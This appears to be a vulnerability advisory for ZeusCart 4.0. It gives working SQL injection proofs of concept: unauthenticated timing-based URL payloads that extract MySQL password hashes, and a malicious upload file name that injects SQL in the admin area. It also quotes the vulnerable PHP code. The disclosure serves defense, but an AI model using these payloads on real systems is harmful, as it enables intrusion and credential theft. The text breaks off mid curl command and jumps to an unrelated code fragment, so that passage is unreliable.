2. Vulnerability Description
There are at least two SQL Injections in ZeusCart 4.0, one being a blind
injection which does not require credentials to be exploited, the other
being a standard injection in the admin area.
Because the prevention of SQL Injection depends to a large part on
applying simple filters on most input instead of using prepared
stamements, it is highly likely that there will be more SQL injection
vulnerabilities that are not covered here.
3. Timing based Blind SQL Injection
There is a blind timing based SQL injection into the maincatid argument.
An attacker does not need to be authenticated to exploit this.
Proof Of Concept
http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1
AND IF(SUBSTRING(version(), 1, 1)=5,BENCHMARK(500000000,version()),null)
-> true
http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1
AND IF(SUBSTRING(version(), 1, 1)=4,BENCHMARK(500000000,version()),null)
-> false
Please note that there is a bug when displaying featured items, so this
will display an error message or show a blank page. The timing
difference is still present, and can thus be exploited, but content
based exploitation is not possible because of this.
Also note that quotes may not be used in the payload, as quotes are
sanitized. It is still possible to extract data:
http://localhost/zeuscart-master/index.php?do=featured&action=showmaincatlanding&maincatid=-1
AND IF(ascii(substring((SELECT password from mysql.user limit
0,1),1,1))=42,BENCHMARK(500000000,version()),null)
-> true, password hash starts with *
Code
```
/classes/Core/CFeaturedItems.php:52
$maincatid = $_GET['maincatid'];
[...]
$sql = "SELECT DISTINCT a.category_name AS
Category,a.category_id AS maincatid, b.category_name AS SubCategory,
b.category_id as subcatid, b.category_image AS image FROM category_table
a INNER JOIN category_table b ON a.category_id = b.category_parent_id
WHERE b.category_parent_id=".$maincatid." AND b.category_status=1 ";
```
4. SQL Injection in Admin Area
All GET, POST, and REQUEST input is sanitized via filter_var($value,
FILTER_SANITIZE_STRING), which offers some protection against SQL
injection and XSS, but is not recommended as only defense.
For many queries, there is no further defense via escaping or prepared
statements. This makes all queries that get their data from different
sources than GET, POST, and REQUEST - such as FILES -, and all queries
containing unquoted parameters - such as seen in the blind injection
above - vulnerable.
Proof Of Concept
The steps to reproduce this issue are as following
Log in as admin
Create a new product, using a file name for ufile[0] like:
"image.jpgblla', description=(SELECT password FROM mysql.user limit
0,1), image='test
Visiting
http://localhost/zeuscart-master/admin/index.php?do=aprodetail&action=showprod&prodid=PRODUCTID
will give the result of the injected query.
Curl command to create a new product:
```
curl -i -s -k -X 'POST' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:40.0)

$obj_img=new Bin_Query();
$obj_img->updateQuery($query_img);

}
